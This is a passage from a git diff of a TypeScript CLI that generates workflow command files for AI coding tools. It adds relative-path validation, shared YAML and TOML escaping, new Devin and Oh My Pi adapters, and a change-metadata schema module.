})) { - if (entry.isDirectory() && !seenNames.has(entry.name)) { + if (isSchemaDir(userDir, entry) && !seenNames.has(entry.name)) { const schemaPath = path.join(userDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { try { @@ -279,7 +337,7 @@ export function listSchemasWithInfo(projectRoot?: string): SchemaInfo[] { const packageDir = getPackageSchemasDir(); if (fs.existsSync(packageDir)) { for (const entry of fs.readdirSync(packageDir, { withFileTypes: true })) { - if (entry.isDirectory() && !seenNames.has(entry.name)) { + if (isSchemaDir(packageDir, entry) && !seenNames.has(entry.name)) { const schemaPath = path.join(packageDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { try { diff --git a/src/core/artifact-graph/types.ts b/src/core/artifact-graph/types.ts index fb0d127036..7dfcf7bb69 100644 --- a/src/core/artifact-graph/types.ts +++ b/src/core/artifact-graph/types.ts @@ -1,11 +1,32 @@ +import * as path from 'node:path'; import { z } from 'zod'; +function relativePathSchema(fieldName: string) { + return z + .string() + .min(1, { error: `${fieldName} is required` }) + .superRefine((value, ctx) => { + const segments = value.split(/[\\/]+/u); + const isDrivePath = /^[A-Za-z]:/u.test(value); + const isAbsolute = + path.posix.isAbsolute(value) || path.win32.isAbsolute(value) || isDrivePath; + const escapes = segments.includes('..'); + + if (isAbsolute || escapes || value.includes('\0')) { + ctx.addIssue({ + code: 'custom', + message: `${fieldName} must be a relative path inside its allowed directory`, + }); + } + }); +} + // Artifact definition schema export const ArtifactSchema = z.object({ id: z.string().min(1, { error: 'Artifact ID is required' }), - generates: z.string().min(1, { error: 'generates field is required' }), + generates: relativePathSchema('generates field'), description: z.string(), - template: z.string().min(1, { error: 'template field is required' }), + template: relativePathSchema('template field'), instruction: z.string().optional(), requires: z.array(z.string()).default([]), }); @@ -15,7 +36,7 @@ export const ApplyPhaseSchema = z.object({ // Artifact IDs that must exist before apply is available requires: z.array(z.string()).min(1, { error: 'At least one required artifact' }), // Path to file with checkboxes for progress (relative to change dir), or null if no tracking - tracks: z.string().nullable().optional(), + tracks: relativePathSchema('apply.tracks').nullable().optional(), // Custom guidance for the apply phase instruction: z.string().optional(), }); @@ -35,24 +56,6 @@ export type Artifact = z.infer<typeof ArtifactSchema>; export type ApplyPhase = z.infer<typeof ApplyPhaseSchema>; export type SchemaYaml = z.infer<typeof SchemaYamlSchema>; -// Per-change metadata schema -// Note: schema field is validated at parse time against available schemas -// using a lazy import to avoid circular dependencies -export const ChangeMetadataSchema = z.object({ - // Required: which workflow schema this change uses - schema: z.string().min(1, { message: 'schema is required' }), - - // Optional: creation timestamp (ISO date string) - created: z - .string() - .regex(/^\d{4}-\d{2}-\d{2}$/, { - message: 'created must be YYYY-MM-DD format', - }) - .optional(), -}); - -export type ChangeMetadata = z.infer<typeof ChangeMetadataSchema>; - // Runtime state types (not Zod - internal only) // Slice 1: Simple completion tracking via filesystem @@ -62,4 +65,3 @@ export type CompletedSet = Set<string>; export interface BlockedArtifacts { [artifactId: string]: string[]; } - diff --git a/src/core/available-tools.ts b/src/core/available-tools.ts index f3dabe97da..84989ca886 100644 --- a/src/core/available-tools.ts +++ b/src/core/available-tools.ts @@ -8,17 +8,29 @@ import path from 'path'; import * as fs from 'fs'; import { AI_TOOLS, type AIToolOption } from './config.js'; +import { reconcileSharedSkillTargets } from './shared-skill-target.js'; +import { SKILL_NAMES } from './shared/tool-detection.js'; +import { resolveToolSkillsDir, toolSupportsSkills } from './shared/skill-paths.js'; /** * Scans the project path for AI tool configuration directories and returns * the tools that are present. * * For tools with `detectionPaths`, checks those specific paths (files or - * directories). Otherwise checks for the tool's `skillsDir` directory at - * the project root. Only tools with a `skillsDir` property are considered. + * directories). Otherwise checks the project's `skillsDir`, or managed skill + * files in the user's home directory for a global skill target. */ export function getAvailableTools(projectPath: string): AIToolOption[] { - return AI_TOOLS.filter((tool) => { + const available = AI_TOOLS.filter((tool) => { + if (!toolSupportsSkills(tool)) return false; + + if (tool.globalSkillsDir) { + const skillsDir = resolveToolSkillsDir(projectPath, tool); + return SKILL_NAMES.some((skillName) => + fs.existsSync(path.join(skillsDir, skillName, 'SKILL.md')) + ); + } + if (!tool.skillsDir) return false; if (tool.detectionPaths && tool.detectionPaths.length > 0) { @@ -40,4 +52,13 @@ export function getAvailableTools(projectPath: string): AIToolOption[] { return false; } }); + const activeProjectTools = new Set( + reconcileSharedSkillTargets( + projectPath, + available.filter((tool) => tool.skillsDir) + ).map((tool) => tool.value) + ); + return available.filter( + (tool) => tool.globalSkillsDir || activeProjectTools.has(tool.value) + ); } diff --git a/src/core/change-metadata/index.ts b/src/core/change-metadata/index.ts new file mode 100644 index 0000000000..8868041f90 --- /dev/null +++ b/src/core/change-metadata/index.ts @@ -0,0 +1 @@ +export * from './schema.js'; diff --git a/src/core/change-metadata/schema.ts b/src/core/change-metadata/schema.ts new file mode 100644 index 0000000000..3644160052 --- /dev/null +++ b/src/core/change-metadata/schema.ts @@ -0,0 +1,51 @@ +import { z } from 'zod'; +import { isKebabId } from '../id.js'; + +export { isKebabId } from '../id.js'; + +const KebabIdentifierSchema = (label: string): z.ZodString => + z.string().superRefine((value, ctx) => { + if (!isKebabId(value)) { + ctx.addIssue({ + code: 'custom', + message: `${label} must be kebab-case with lowercase letters, numbers, and single hyphen separators`, + }); + } + }); + +export const InitiativeLinkSchema = z.object({ + store: KebabIdentifierSchema('Store id'), + id: KebabIdentifierSchema('Initiative id'), +}).strict(); + +export type InitiativeLink = z.infer<typeof InitiativeLinkSchema>; + +// Per-change metadata schema. The schema field is validated against available +// workflow schemas when metadata is read or written. +export const ChangeMetadataSchema = z.object({ + schema: z.string().min(1, { message: 'schema is required' }), + created: z + .string() + .regex(/^\d{4}-\d{2}-\d{2}$/, { + message: 'created must be YYYY-MM-DD format', + }) + .optional(), + goal: z.string().min(1).optional(), + affected_areas: z.array(z.string().min(1)).optional(), + initiative: InitiativeLinkSchema.optional(), + // Declares that this change intentionally has no spec deltas (pure refactor, + // tooling, or docs work). Validation accepts zero deltas, and the artifact + // graph counts artifacts whose `generates` path lives under specs/ as + // complete - that path prefix, not the artifact id, is the contract custom + // schemas inherit. + skip_specs: z.boolean().optional(), + // Declares that this change may retire a capability: when its REMOVED entries + // take the last requirement a capability has, archive deletes that + // capability's main spec instead of aborting on a spec it could not write + // (#1302). Required because the deletion is not recoverable from the working + // tree - only from git - so it is the author's call, not an inference from the + // shape of a delta. + retire_capabilities: z.boolean().optional(), +}); + +export type ChangeMetadata = z.infer<typeof ChangeMetadataSchema>; diff --git a/src/core/change-status-policy.ts b/src/core/change-status-policy.ts new file mode 100644 index 0000000000..f922bd1f1e --- /dev/null +++ b/src/core/change-status-policy.ts @@ -0,0 +1,81 @@ +import type { PlanningHome } from './planning-home.js'; + +export interface PlanningHomeSummary { + kind: 'repo'; + root: string; + changesDir: string; + defaultSchema: string; +} + +export interface ActionContext { + mode: 'repo-local'; + sourceOfTruth: 'repo'; + planningArtifacts: string[]; + linkedContext: Array<{ name: string }>; + allowedEditRoots: string[]; + requiresAffectedAreaSelection: boolean; + constraints: string[]; +} + +export interface ChangeStatusPolicyArtifact { + id: string; + status: 'done' | 'skipped' | 'ready' | 'blocked'; +} + +export interface ChangeNextStepsInput { + changeName: string; + artifactStatuses: ChangeStatusPolicyArtifact[]; + allArtifactsComplete: boolean; + /** Selected store id; next-step commands must carry it. */ + storeId?: string; +} + +export interface ActionContextInput { + projectRoot: string; + artifactIds: string[]; +} + +export function summarizePlanningHome( + planningHome: PlanningHome | undefined +): PlanningHomeSummary | undefined { + if (!planningHome) { + return undefined; + } + + return { + kind: planningHome.kind, + root: planningHome.root, + changesDir: planningHome.changesDir, + defaultSchema: planningHome.defaultSchema, + }; +} + +export function buildActionContext(input: ActionContextInput): ActionContext { + return { + mode: 'repo-local', + sourceOfTruth: 'repo', + planningArtifacts: input.artifactIds, + linkedContext: [], + allowedEditRoots: [input.projectRoot], + requiresAffectedAreaSelection: false, + constraints: ['Repo-local change artifacts and implementation edits are scoped to this project.'], + }; +} + +export function buildNextSteps(input: ChangeNextStepsInput): string[] { + const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready'); + const steps: string[] = []; + const storeFlag = input.storeId ? ` --store ${input.storeId}` : ''; + + if (readyArtifact) { + steps.push( + `Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.` + ); + } else if (input.allArtifactsComplete) { + steps.push( + `All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.` + ); + } + + return steps; +} diff --git a/src/core/command-generation/adapters/amazon-q.ts b/src/core/command-generation/adapters/amazon-q.ts index 0131c0638f..4875a27ee3 100644 --- a/src/core/command-generation/adapters/amazon-q.ts +++ b/src/core/command-generation/adapters/amazon-q.ts @@ -6,11 +6,16 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Amazon Q adapter for command generation. * File path: .amazonq/prompts/opsx-<id>.md * Frontmatter: description + * + * Amazon Q surfaces these files as its prompt library rather than as slash + * commands: the user types `@opsx-propose`, not `/opsx-propose`. + * https://docs.aws.amazon.com/amazonq/latest/qdeveloper-ug/command-line-prompts.html */ export const amazonQAdapter: ToolCommandAdapter = { toolId: 'amazon-q', @@ -19,9 +24,11 @@ export const amazonQAdapter: ToolCommandAdapter = { return path.join('.amazonq', 'prompts', `opsx-${commandId}.md`); }, + invocationPrefix: '@', + formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/antigravity.ts b/src/core/command-generation/adapters/antigravity.ts index e7a5d4919d..b0c3035a52 100644 --- a/src/core/command-generation/adapters/antigravity.ts +++ b/src/core/command-generation/adapters/antigravity.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Antigravity adapter for command generation. @@ -21,7 +22,7 @@ export const antigravityAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/auggie.ts b/src/core/command-generation/adapters/auggie.ts index 2a52104c07..b790c04f51 100644 --- a/src/core/command-generation/adapters/auggie.ts +++ b/src/core/command-generation/adapters/auggie.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Auggie adapter for command generation. @@ -21,7 +22,7 @@ export const auggieAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} argument-hint: command arguments --- diff --git a/src/core/command-generation/adapters/bob.ts b/src/core/command-generation/adapters/bob.ts index 53426fc4eb..84e201eec4 100644 --- a/src/core/command-generation/adapters/bob.ts +++ b/src/core/command-generation/adapters/bob.ts @@ -7,27 +7,16 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; -import { transformToHyphenCommands } from '../../../utils/command-references.js'; - -/** - * Escapes a string value for safe YAML output. - * Quotes the string if it contains special YAML characters. - */ -function escapeYamlValue(value: string): string { - // Check if value needs quoting (contains special YAML characters or starts/ends with whitespace) - const needsQuoting = /[:\n\r#{}[\],&*!|>'"%@`]|^\s|\s$/.test(value); - if (needsQuoting) { - // Use double quotes and escape internal double quotes and backslashes - const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); - return `"${escaped}"`; - } - return value; -} +import { escapeYamlValue } from '../yaml.js'; /** * Bob Shell adapter for command generation. * File path: .bob/commands/opsx-<id>.md - * Frontmatter: description, argument-hint + * Frontmatter: description + * + * Bob uses the filename (minus .md) as the slash command name, so + * opsx-propose.md → /opsx-propose. generateCommand rewrites the body's + * command references to that form before this adapter formats it. */ export const bobAdapter: ToolCommandAdapter = { toolId: 'bob', @@ -37,15 +26,12 @@ export const bobAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - // Transform command references from colon to hyphen format for Bob - const transformedBody = transformToHyphenCommands(content.body); - return `--- description: ${escapeYamlValue(content.description)} argument-hint: command arguments --- -${transformedBody} +${content.body} `; }, }; diff --git a/src/core/command-generation/adapters/claude.ts b/src/core/command-generation/adapters/claude.ts index 532b3a47bd..17a5f3b6bd 100644 --- a/src/core/command-generation/adapters/claude.ts +++ b/src/core/command-generation/adapters/claude.ts @@ -6,34 +6,13 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; - -/** - * Escapes a string value for safe YAML output. - * Quotes the string if it contains special YAML characters. - */ -function escapeYamlValue(value: string): string { - // Check if value needs quoting (contains special YAML characters or starts/ends with whitespace) - const needsQuoting = /[:\n\r#{}[\],&*!|>'"%@`]|^\s|\s$/.test(value); - if (needsQuoting) { - // Use double quotes and escape internal double quotes and backslashes - const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); - return `"${escaped}"`; - } - return value; -} - -/** - * Formats a tags array as a YAML array with proper escaping. - */ -function formatTagsArray(tags: string[]): string { - const escapedTags = tags.map((tag) => escapeYamlValue(tag)); - return `[${escapedTags.join(', ')}]`; -} +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; +import { OPENSPEC_CLI_ALLOWED_TOOLS } from '../../shared/allowed-tools.js'; /** * Claude Code adapter for command generation. * File path: .claude/commands/opsx/<id>.md - * Frontmatter: name, description, category, tags + * Frontmatter: name, description, allowed-tools, category, tags */ export const claudeAdapter: ToolCommandAdapter = { toolId: 'claude', @@ -46,6 +25,7 @@ export const claudeAdapter: ToolCommandAdapter = { return `--- name: ${escapeYamlValue(content.name)} description: ${escapeYamlValue(content.description)} +allowed-tools: ${OPENSPEC_CLI_ALLOWED_TOOLS} category: ${escapeYamlValue(content.category)} tags: ${formatTagsArray(content.tags)} --- diff --git a/src/core/command-generation/adapters/codebuddy.ts b/src/core/command-generation/adapters/codebuddy.ts index 54b7eebdcf..51657e7664 100644 --- a/src/core/command-generation/adapters/codebuddy.ts +++ b/src/core/command-generation/adapters/codebuddy.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * CodeBuddy adapter for command generation. @@ -21,8 +22,8 @@ export const codebuddyAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -name: ${content.name} -description: "${content.description}" +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} argument-hint: "[command arguments]" --- diff --git a/src/core/command-generation/adapters/codex.ts b/src/core/command-generation/adapters/codex.ts deleted file mode 100644 index 64e73550b9..0000000000 --- a/src/core/command-generation/adapters/codex.ts +++ /dev/null @@ -1,44 +0,0 @@ -/** - * Codex Command Adapter - * - * Formats commands for Codex following its frontmatter specification. - * Codex custom prompts live in the global home directory (~/.codex/prompts/) - * and are not shared through the repository. The CODEX_HOME env var can - * override the default ~/.codex location. - */ - -import os from 'os'; -import path from 'path'; -import type { CommandContent, ToolCommandAdapter } from '../types.js'; - -/** - * Returns the Codex home directory. - * Respects the CODEX_HOME env var, defaulting to ~/.codex. - */ -function getCodexHome(): string { - const envHome = process.env.CODEX_HOME?.trim(); - return path.resolve(envHome ? envHome : path.join(os.homedir(), '.codex')); -} - -/** - * Codex adapter for command generation. - * File path: <CODEX_HOME>/prompts/opsx-<id>.md (absolute, global) - * Frontmatter: description, argument-hint - */ -export const codexAdapter: ToolCommandAdapter = { - toolId: 'codex', - - getFilePath(commandId: string): string { - return path.join(getCodexHome(), 'prompts', `opsx-${commandId}.md`); - }, - - formatFile(content: CommandContent): string { - return `--- -description: ${content.description} -argument-hint: command arguments ---- - -${content.body} -`; - }, -}; diff --git a/src/core/command-generation/adapters/continue.ts b/src/core/command-generation/adapters/continue.ts index f6aac08b00..b3bdedea68 100644 --- a/src/core/command-generation/adapters/continue.ts +++ b/src/core/command-generation/adapters/continue.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Continue adapter for command generation. @@ -21,8 +22,8 @@ export const continueAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -name: opsx-${content.id} -description: ${content.description} +name: ${escapeYamlValue(`opsx-${content.id}`)} +description: ${escapeYamlValue(content.description)} invokable: true --- diff --git a/src/core/command-generation/adapters/costrict.ts b/src/core/command-generation/adapters/costrict.ts index 17628a1241..82a4aea6bd 100644 --- a/src/core/command-generation/adapters/costrict.ts +++ b/src/core/command-generation/adapters/costrict.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * CoStrict adapter for command generation. @@ -21,7 +22,7 @@ export const costrictAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: "${content.description}" +description: ${escapeYamlValue(content.description)} argument-hint: command arguments --- diff --git a/src/core/command-generation/adapters/crush.ts b/src/core/command-generation/adapters/crush.ts index b4d1a0b9dd..e1f3aae299 100644 --- a/src/core/command-generation/adapters/crush.ts +++ b/src/core/command-generation/adapters/crush.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; /** * Crush adapter for command generation. @@ -20,12 +21,11 @@ export const crushAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - const tagsStr = content.tags.join(', '); return `--- -name: ${content.name} -description: ${content.description} -category: ${content.category} -tags: [${tagsStr}] +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +category: ${escapeYamlValue(content.category)} +tags: ${formatTagsArray(content.tags)} --- ${content.body} diff --git a/src/core/command-generation/adapters/cursor.ts b/src/core/command-generation/adapters/cursor.ts index 85adedb030..7ee77a1e72 100644 --- a/src/core/command-generation/adapters/cursor.ts +++ b/src/core/command-generation/adapters/cursor.ts @@ -7,21 +7,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; - -/** - * Escapes a string value for safe YAML output. - * Quotes the string if it contains special YAML characters. - */ -function escapeYamlValue(value: string): string { - // Check if value needs quoting (contains special YAML characters or starts/ends with whitespace) - const needsQuoting = /[:\n\r#{}[\],&*!|>'"%@`]|^\s|\s$/.test(value); - if (needsQuoting) { - // Use double quotes and escape internal double quotes and backslashes - const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); - return `"${escaped}"`; - } - return value; -} +import { escapeYamlValue } from '../yaml.js'; /** * Cursor adapter for command generation. @@ -37,8 +23,8 @@ export const cursorAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -name: /opsx-${content.id} -id: opsx-${content.id} +name: ${escapeYamlValue(`/opsx-${content.id}`)} +id: ${escapeYamlValue(`opsx-${content.id}`)} category: ${escapeYamlValue(content.category)} description: ${escapeYamlValue(content.description)} --- diff --git a/src/core/command-generation/adapters/devin.ts b/src/core/command-generation/adapters/devin.ts new file mode 100644 index 0000000000..8a912c6854 --- /dev/null +++ b/src/core/command-generation/adapters/devin.ts @@ -0,0 +1,40 @@ +/** + * Devin Desktop Command Adapter + * + * Formats commands for Devin Desktop following its frontmatter specification. + * Devin Desktop reads Cascade-style workflows from `.devin/workflows/`, the + * same shape Windsurf uses. + */ + +import path from 'path'; +import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; + +/** + * Devin Desktop adapter for command generation. + * File path: .devin/workflows/opsx-<id>.md + * Frontmatter: name, description, category, tags + * + * The `opsx-` filename prefix makes this a flat invocation, so the generator + * rewrites the body's `/opsx:*` references to the `/opsx-*` form Devin + * registers — see invocation.ts. + */ +export const devinAdapter: ToolCommandAdapter = { + toolId: 'devin', + + getFilePath(commandId: string): string { + return path.join('.devin', 'workflows', `opsx-${commandId}.md`); + }, + + formatFile(content: CommandContent): string { + return `--- +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +category: ${escapeYamlValue(content.category)} +tags: ${formatTagsArray(content.tags)} +--- + +${content.body} +`; + }, +}; diff --git a/src/core/command-generation/adapters/factory.ts b/src/core/command-generation/adapters/factory.ts index 5031d5dc79..383d36844f 100644 --- a/src/core/command-generation/adapters/factory.ts +++ b/src/core/command-generation/adapters/factory.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Factory adapter for command generation. @@ -21,7 +22,7 @@ export const factoryAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} argument-hint: command arguments --- diff --git a/src/core/command-generation/adapters/gemini.ts b/src/core/command-generation/adapters/gemini.ts index 2c08656f43..d3a4030513 100644 --- a/src/core/command-generation/adapters/gemini.ts +++ b/src/core/command-generation/adapters/gemini.ts @@ -7,6 +7,44 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +/** + * Control characters (C0 except tab/newline/carriage return, plus DEL) are + * invalid inside TOML strings and must be written as escapes. + */ +const TOML_CONTROL_CHARS = new RegExp('[\\u0000-\\u0008\\u000b\\u000c\\u000e-\\u001f\\u007f]', 'g'); + +/** + * TOML basic strings are escape-active: a backslash or double quote in the + * value breaks the file if written raw. Newlines cannot appear in a + * single-line basic string at all, so they are escaped too. + */ +function escapeTomlBasicString(value: string): string { + return value + .replace(/\\/g, '\\\\') + .replace(/"/g, '\\"') + .replace(/\n/g, '\\n') + .replace(/\r/g, '\\r') + .replace(/\t/g, '\\t') + .replace(TOML_CONTROL_CHARS, (c) => `\\u${c.charCodeAt(0).toString(16).padStart(4, '0')}`); +} + +/** + * Multiline basic strings keep raw newlines and tabs, but backslashes are + * still escape-active, any run of three quotes would end the string, and the + * same control characters are invalid as in single-line basic strings — a + * lone carriage return included (only LF and CRLF may appear raw; CRLF is + * normalized away so the emitted file is single-convention). Escapes are + * introduced after backslash-doubling so they are not re-doubled. + */ +function escapeTomlMultilineBasicString(value: string): string { + return value + .replace(/\r\n/g, '\n') + .replace(/\\/g, '\\\\') + .replace(/"""/g, '""\\"') + .replace(/\r/g, '\\r') + .replace(TOML_CONTROL_CHARS, (c) => `\\u${c.charCodeAt(0).toString(16).padStart(4, '0')}`); +} + /** * Gemini adapter for command generation. * File path: .gemini/commands/opsx/<id>.toml @@ -20,10 +58,10 @@ export const geminiAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - return `description = "${content.description}" + return `description = "${escapeTomlBasicString(content.description)}" prompt = """ -${content.body} +${escapeTomlMultilineBasicString(content.body)} """ `; }, diff --git a/src/core/command-generation/adapters/github-copilot.ts b/src/core/command-generation/adapters/github-copilot.ts index 4eac7f1b69..cd71b87467 100644 --- a/src/core/command-generation/adapters/github-copilot.ts +++ b/src/core/command-generation/adapters/github-copilot.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * GitHub Copilot adapter for command generation. @@ -21,7 +22,7 @@ export const githubCopilotAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/iflow.ts b/src/core/command-generation/adapters/iflow.ts index d60a3f0b1e..8d94cc112a 100644 --- a/src/core/command-generation/adapters/iflow.ts +++ b/src/core/command-generation/adapters/iflow.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * iFlow adapter for command generation. @@ -21,10 +22,10 @@ export const iflowAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -name: /opsx-${content.id} -id: opsx-${content.id} -category: ${content.category} -description: ${content.description} +name: ${escapeYamlValue(`/opsx-${content.id}`)} +id: ${escapeYamlValue(`opsx-${content.id}`)} +category: ${escapeYamlValue(content.category)} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/index.ts b/src/core/command-generation/adapters/index.ts index 00fc75d5d6..43c2e36e65 100644 --- a/src/core/command-generation/adapters/index.ts +++ b/src/core/command-generation/adapters/index.ts @@ -10,12 +10,12 @@ export { auggieAdapter } from './auggie.js'; export { bobAdapter } from './bob.js'; export { claudeAdapter } from './claude.js'; export { clineAdapter } from './cline.js'; -export { codexAdapter } from './codex.js'; export { codebuddyAdapter } from './codebuddy.js'; export { continueAdapter } from './continue.js'; export { costrictAdapter } from './costrict.js'; export { crushAdapter } from './crush.js'; export { cursorAdapter } from './cursor.js'; +export { devinAdapter } from './devin.js'; export { factoryAdapter } from './factory.js'; export { geminiAdapter } from './gemini.js'; export { githubCopilotAdapter } from './github-copilot.js'; @@ -23,10 +23,12 @@ export { iflowAdapter } from './iflow.js'; export { junieAdapter } from './junie.js'; export { kilocodeAdapter } from './kilocode.js'; export { kiroAdapter } from './kiro.js'; +export { ohMyPiAdapter } from './oh-my-pi.js'; export { opencodeAdapter } from './opencode.js'; export { piAdapter } from './pi.js'; export { qoderAdapter } from './qoder.js'; export { lingmaAdapter } from './lingma.js'; export { qwenAdapter } from './qwen.js'; export { roocodeAdapter } from './roocode.js'; -export { windsurfAdapter } from './windsurf.js'; +export { traeAdapter } from './trae.js'; +export { zcodeAdapter } from './zcode.js'; diff --git a/src/core/command-generation/adapters/junie.ts b/src/core/command-generation/adapters/junie.ts index 907ca46982..69c0a53484 100644 --- a/src/core/command-generation/adapters/junie.ts +++ b/src/core/command-generation/adapters/junie.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Junie adapter for command generation. @@ -21,7 +22,7 @@ export const junieAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/kiro.ts b/src/core/command-generation/adapters/kiro.ts index 2e8a4ca4c5..8d52d47cc4 100644 --- a/src/core/command-generation/adapters/kiro.ts +++ b/src/core/command-generation/adapters/kiro.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Kiro adapter for command generation. @@ -21,7 +22,7 @@ export const kiroAdapter: ToolCommandAdapter = { formatFile(content: CommandContent): string { return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- ${content.body} diff --git a/src/core/command-generation/adapters/lingma.ts b/src/core/command-generation/adapters/lingma.ts index cf9bcc88b2..e6e15ba1c1 100644 --- a/src/core/command-generation/adapters/lingma.ts +++ b/src/core/command-generation/adapters/lingma.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; /** * Lingma adapter for command generation. @@ -20,12 +21,11 @@ export const lingmaAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - const tagsStr = content.tags.join(', '); return `--- -name: ${content.name} -description: ${content.description} -category: ${content.category} -tags: [${tagsStr}] +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +category: ${escapeYamlValue(content.category)} +tags: ${formatTagsArray(content.tags)} --- ${content.body} diff --git a/src/core/command-generation/adapters/oh-my-pi.ts b/src/core/command-generation/adapters/oh-my-pi.ts new file mode 100644 index 0000000000..4842b458df --- /dev/null +++ b/src/core/command-generation/adapters/oh-my-pi.ts @@ -0,0 +1,52 @@ +/** + * Oh My Pi (OMP) Command Adapter + * + * Formats commands for Oh My Pi following its slash command specification. + * OMP loads slash commands from .omp/commands/*.md with YAML frontmatter. + * The filename (minus .md) becomes the slash command name. + */ + +import path from 'path'; +import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; + +const OMP_INPUT_HEADING = /^\*\*Input\*\*:[^\n]*$/m; + +function injectOmpArgs(body: string): string { + if (body.includes('$@') || body.includes('$ARGUMENTS')) { + return body; + } + + return body.replace( + OMP_INPUT_HEADING, + (heading) => `${heading}\n**Provided arguments**: $@` + ); +} + +/** + * Oh My Pi adapter for command generation. + * File path: .omp/commands/opsx-<id>.md + * Frontmatter: description + * + * OMP uses the filename (minus .md) as the slash command name, so + * opsx-propose.md → /opsx-propose. generateCommand rewrites the body's + * command references to that form before this adapter formats it, and + * $@ is injected after **Input**: headings so user-supplied arguments + * (e.g. /opsx-propose my-feature) are visible to the agent. + */ +export const ohMyPiAdapter: ToolCommandAdapter = { + toolId: 'oh-my-pi', + + getFilePath(commandId: string): string { + return path.join('.omp', 'commands', `opsx-${commandId}.md`); + }, + + formatFile(content: CommandContent): string { + return `--- +description: ${escapeYamlValue(content.description)} +--- + +${injectOmpArgs(content.body)} +`; + }, +}; diff --git a/src/core/command-generation/adapters/opencode.ts b/src/core/command-generation/adapters/opencode.ts index 301664b47f..74f645022e 100644 --- a/src/core/command-generation/adapters/opencode.ts +++ b/src/core/command-generation/adapters/opencode.ts @@ -6,7 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; -import { transformToHyphenCommands } from '../../../utils/command-references.js'; +import { escapeYamlValue } from '../yaml.js'; /** * OpenCode adapter for command generation. @@ -21,14 +21,11 